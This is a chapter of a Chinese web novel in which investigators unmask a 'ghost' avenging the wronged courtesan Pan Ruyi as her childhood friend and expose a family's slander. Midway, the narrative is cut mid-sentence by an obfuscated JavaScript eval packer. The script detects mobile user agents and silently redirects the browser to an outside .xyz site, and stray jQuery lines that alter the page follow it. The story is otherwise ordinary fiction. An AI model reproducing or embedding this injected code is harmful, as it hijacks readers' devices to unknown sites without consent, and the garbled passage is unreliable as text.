25. 谣言诛心

作品:《反派他手拿丧妻剧本

    “潘如衣有个青梅竹马,卷宗刻意没写名字。名伞居的老板说有个公子来过,莫非就是这竹马?”


    几人想来想去认为还是先抓到女鬼问个清楚。女鬼恐吓残害的基本都是生前欺辱她的人,而见着好心人则会放过。


    “她恐吓的大多数是生前点过小晚姑娘的人,听白鞠说小晚生前不喜接客,自入楼来就郁郁寡欢,甚至茶饭不思。”


    “她是怎么入的楼?”


    三人疑惑更多,到了回梦楼,白鞠不再耍心眼,问什么答什么。


    “把小晚生平的接客名单开一个出来。”徐凝都不客气。


    白鞠列了一长串名字。三人对着今日受害者以及被恐吓吓出失心疯的人划名字。


    划了十五个,只剩一个。


    一排排的红线仿佛宣告名单上的人的死亡。


    几人心领神会,“就是今夜。”


    “现在是什么时辰了?”堂溪胥的问题让人摸不着头脑。


    “已经亥正了。”徐涟看着正滴水的刻漏。


    “最后一个家住城西巷子口,我们现在在城东,过去最快也要半个时辰……”


    徐凝眼珠一亮“不好!”“受害者时间都是在子时这一段,这是最后一次机会。”


    三人疾跑到街市,堂溪胥顺手牵了两匹马,徐凝跳上去前还给店家留了点银子。


    “大哥,别骑这么快啊,我这。”马越来越快,怕被颠下去少女紧抱住青年的腰身。徐凝的半张侧脸紧贴青年的后背。


    堂溪胥跳下马来跟个没事儿人一样,徐凝脑子里一团浆糊脑神经像是在蹦迪。


    堂溪胥抱着她上半身下来,“噗!”幸亏晚上吃的不多,吐了些酸水。青年玄色衣角湿了一小块。


    “好点了吗?”堂溪胥还轻拍了下她的背。


    “没事儿,走。”有点晕,徐涟已经进去了,若是快,可能抓得到“鬼”。


    徐涟拿了一块布从破屋子里走出来:“晚了。没死,只是失血过多晕过去了而已。”


    徐凝接过破布“只剩两天了,你抓不到我的。”是凶手的挑衅。


    “咕咕”白鸽落到徐涟手腕上,“瞿义他们来信了。”


    “伍允还没死,他日子过得滋润,还有妻子。”


    “让他们别回来,看好伍允一家。”


    “或许这才是最后一个。”有种直觉告诉徐凝,潘如衣的事绝不像话文里说的那样。


    赵明裳收到信得知他们那边情况,和瞿义守在伍家外。


    临姚城的三人连夜赶到伍家。


    伍家并不算穷,虽住在城郊,但房屋却是砖瓦建的,家中物件也是齐全。他还有一个样貌不错的妻子,看着都像老实人。


    “伍允,我们是临姚城推官,你可知近日里临姚青楼女子坠楼案?”徐凝想听听这个话本子里一直处于人们保护对象的看法。


    男子目光瞥在一边,一直不言语。


    “你又可知,你前妻潘如衣被人卖去青楼?”男子的眼皮微颤。


    “你还可知她死了。”男子再也忍不住,转头死盯着徐凝。


    赵明裳不喜啰嗦:“现在有个人专为潘如衣伸冤,专杀生前和她有恩怨的人。”


    “诸位找错了,我不认识什么潘如衣。”男子垂着眼皮有些慌张。


    “你不说也没关系,昨夜那个鬼才把生前轻薄潘如衣的人的头拧下来,那颗头就滚在大路中央。下一个就是你。”堂溪胥平静地看着这个样貌平平的男子。


    一二十来岁的女人嗓门很大,似要掀翻屋顶:“什么?!你还和那个女人有瓜葛,你不是说你不会再和她有牵连了吗?”


    伍允说不出话,有些结巴“可她,可她毕竟是我前妻。她待我很好。”


    徐凝想吓吓他:“近日坊间传言,说是诈尸,小晚姑娘死得太冤,怨气太重过不了奈何桥,化作厉鬼讨命来了。”


    徐涟在外面布阵,他侧头看了眼不远处浅红色身影。


    她没做什么坏事,况且徐涟没空搭理她。


    “儿子,别听他们胡言乱语,我亲自探了鼻息她就是死了。”


    “娘,真的是你。”伍允不可置信的看着母亲。伍母面色红润,完全不像是个农村老太太。


    “我没杀她啊。我只是,我只是告诉她事实而已。”


    徐凝步步紧逼:“你给她说了什么。”


    “她声明早就败坏,且她品行不端,当初要不是我家怜悯,她早就死了。”


    赵明裳越听越气:“你以为是你的怜悯吗?当年要不是你儿子窥探了人家沐浴,被潘家老爷发现,顾及女儿声誉才让女儿下嫁。”赵明裳和瞿义最近走访了几家,当年的情况了解了七七八八。


    老太婆错愕,这些事儿子从来没和她说过。


    “我没猜错的话,你家之所以富裕起来是因为有潘如衣的嫁妆。”


    “无论怎样她还是与外男有染,总归是不对的。”老太婆不敢正眼看人。


    徐凝一开始想着如果他能全盘托出,就不让他们犯险,现在看来没这必要。另外四人也不想理。


    赵明裳一改往日端庄样:“这家子人也不是什么好人。用前儿媳嫁妆用得心安理得,伍允做的事真是令人作呕。”


    “明裳姐姐,头一次见你失态呢。”


    “诸位别走啊,还请你们救救我一家。求求了。”


    堂溪胥和徐凝已经出去了,伍允跪下死抓住徐涟的衣袍。


    “唉,罢了且帮你们吧。”


    “师妹,且帮一下吧,到底是寻常百姓。”


    徐凝看了徐涟一眼,气呼呼的:“师兄答应的就师兄去,你去扮伍允吧。”


    几人将三人转移到安全位置,去外面吃了点饭,回来埋伏在附近。


    “都是我的错。不应由你们冒险,多谢各位放我妻母一命。”伍允过来,愿意自身冒险。


    赵明裳不留好脸色“今晚结束,你必须全盘脱出,我们不会冤枉任何一个好人更不会放过任何一个坏人。”


    “我晓得。”男子声音很低,始终垂着眼帘。


    子时,起雾了。


    伍家周围都是树木,没有其他人家,如果不是他们这户人,这地方确实没什么生气,有点荒凉。


    烛火全灭,林中一片寂静“哇呜、哇呜”偶有乌鸦飞过。


    “要我说这块地风水就不好。”瞿义见此坐南朝北,背着光完全和寻常人家反着来。


    潜伏在前面的徐凝闻声“你又懂完了。”


    赵明裳只默笑不语。


    女子披长发,戴着精美的发饰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001873|161794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,脸色苍白眼窝凹陷化着精致的妆容,身上的伤痕和死的那天一样。


    “你们觉不觉得她瘦,可骨架有点大,至少比寻常女子大。”徐涟皱着眉,看了眼“女鬼”又看了眼赵明裳,对比二人。


    空地的女子执着一把新的油纸伞,伞面空白,她“飘”进屋“伍郎,你害我好惨~”


    “你为什么要毁我清白~”


    “你还我名节!”


    徐凝越听越疑惑。


    伍允却奇怪,站在屋里一动不动,像是等待裁决。


    女子将油纸伞收拢伞尖是一把尖刀,她一掌将伞推出,方圆三里灰尘与树叶在空中飘旋。


    赵明裳不由感叹:“好厉害的功法,一掌风起五里。”徐涟接住油伞,堂溪胥从后捏住女子肩膀不待人反抗就将她制服。


    “对不起,对不起。当年是我的错,误你一生。你要杀便杀吧。”伍允泪眼如斯,半跪在地上。


    “女子”恢复原来的声音:“本来就是你的错,还有那个老太婆,那个泼妇!”


    声音浑厚,原来是个男子。


    “要不是那个老太婆总是为难如衣,居然还掐她,将她卖到青楼她又怎会提出和离。”


    “不是说潘如衣嫌贫爱富和一个公子勾搭上了吗?”


    “和我勾搭上?我还希望呢。”男子冷笑着,“我名裴善,如衣本为冀州按察使之女,我和她是青梅竹马。后来潘伯伯遭人陷害入狱,伍允见如衣貌美窥探她沐浴,想着无人撑腰,如衣只能嫁。我本想让她嫁与我,可她不想牵连我还是选择嫁给一个农人。”


    “婚后如衣安分守己,孝敬婆母,可是身体不好始终未怀孕。那个死老太婆便开始刁难她,那一日路过我碰见如衣见她过得不好。后来我就留下来一边做生意一边读书,时常照拂她。那老太婆给伍允下药,让他和远房表妹在一起。而我和她一直都是清清白白,天地可鉴!”


    “背后之人着实歹毒了,用谣言杀人。”赵明裳难以置信。


    男子轻笑:“你说的没错,那个死老太婆和他的远方表妹传播谣言,说是如衣不知廉耻。如衣百口莫辩就想和离,怎想趁我外出采购,他们就把如衣绑了卖到临姚青楼!”


    徐凝验证心中猜想“好啊,我就晓得你们一家子有猫腻。”


    “可你发现了,为什么不报官?”


    “没有用的,官府从来只认银子。这么多年除了潘伯伯没有一个清官!”男子越说越气。


    徐凝串起他的话后基本验证自己的猜测:“冀州和临姚离得近,有些说书人为了赚点钱就把这个编成故事,一传十十传百,如衣姑娘就被泼了许多污水。”


    “是。我也跟过去了,时常关照她。我给老鸨拿了些银子让如衣只卖艺。后来如衣为了不接客又去学琵琶,学成归来有更多人点她。”


    “可她为什么会在名伞居跳楼?”


    “老鸨逼她正式接客,如衣不想逃出去了,等我找到她时她已坠楼。”


    赵明裳更疑惑了:“可老鸨那张字条是谁给的呢?”


    “死者在坠楼前明显有过其他事。肯定还有其他人在场。”徐凝始终觉得不对。


    这时瞿义和堂溪胥押了两个人过来。


    “哈哈,是我。你们这些推官也不过如此嘛。”